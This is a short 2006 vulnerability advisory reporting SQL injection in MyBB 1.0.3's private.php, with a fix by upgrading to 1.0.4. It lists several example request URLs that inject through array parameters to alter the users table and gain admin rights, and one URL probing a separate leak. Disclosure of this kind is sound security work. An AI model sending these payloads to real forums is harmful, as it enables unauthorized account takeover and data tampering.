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http://myimei.com/security/2006-02-11/mybb-103privatephpmultiple-sqlinjection.html
Vendor Credit:http://community.mybboard.net/showthread.php?tid=6777
——————-Summary—————-
Software: MyBB
Sowtware’s Web Site: http://www.mybboard.com
Versions: 1.0.3
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Available
Discovered by: imei addmimistrator
Risk Level: high
—————–Description—————
There is some security bug in MyBB 1.0.3 software (latest version fully patched) file private.php that allows attacker performe an SQLINJECTION attack. bug is in result of poor checking quotations for user suplied variables.
as this bug is an UPDATE&DELETE query execution on users table, attacker can easily make himself an forum admin also other attacks are possible too.
————–Exploit———————-
examples provided here:
/mybb/private.php?action=do_folders&folder['sql]=nomatter
/mybb/private.php?action=do_folders&folder['sql]
/mybb/private.php?action=do_stuff&delete=1&check['sql]
also vendor may like to solve a sniffing bug while upgrade:
mybb/private.php?action=do_empty&empty[]=noyes
————–Solution———————
upgrade to vendors provided patch1.0.4
————–Credit———————–
Discovered by: imei addmimistrator
addmimistrator(4}gmail(O}com
www.myimei.com
security.myimei.com